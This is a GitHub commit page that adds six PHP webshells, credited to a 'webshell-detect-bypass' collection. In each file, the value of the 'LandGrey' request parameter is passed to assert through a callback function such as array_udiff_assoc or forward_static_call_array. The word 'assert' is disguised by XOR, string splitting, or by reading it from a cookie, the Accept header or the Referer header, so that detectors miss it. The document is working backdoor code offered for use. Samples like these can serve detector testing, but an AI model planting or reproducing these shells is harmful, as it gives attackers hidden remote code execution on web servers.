Skip to content

Commit 32be5d2

Browse files
author
Levi Li
authored
Add files via upload
From:https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/php Author:Build by LandGrey
1 parent 1ee6e0d commit 32be5d2

6 files changed

+49
-0
lines changed
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<?php
2+
$password = "LandGrey";
3+
$key = substr(__FILE__,-5,-4);
4+
${"LandGrey"} = $key."Land!";
5+
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
6+
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
7+
?>
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
<?php
2+
$password = "LandGrey";
3+
$key = substr(__FILE__,-5,-4);
4+
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
5+
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
6+
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
7+
?>
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<?php
2+
/**
3+
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
4+
*
5+
*/
6+
$password = "LandGrey";
7+
$ch = $_COOKIE["set-domain-name"];
8+
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
9+
?>

php/array_intersect_ukey.php

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<?php
2+
/**
3+
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
4+
*
5+
*/
6+
$password = "LandGrey";
7+
$ch = explode(".","hello.ass.world.er.t");
8+
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
9+
?>

php/array_udiff_assoc.php

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
<?php
2+
/**
3+
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
4+
*
5+
*/
6+
$password = "LandGrey";
7+
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
8+
?>
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<?php
2+
/**
3+
* Noticed: (PHP 5 >= 5.3.0, PHP 7)
4+
*
5+
*/
6+
$password = "LandGrey";
7+
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
8+
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
9+
?>

0 commit comments

Comments
 (0)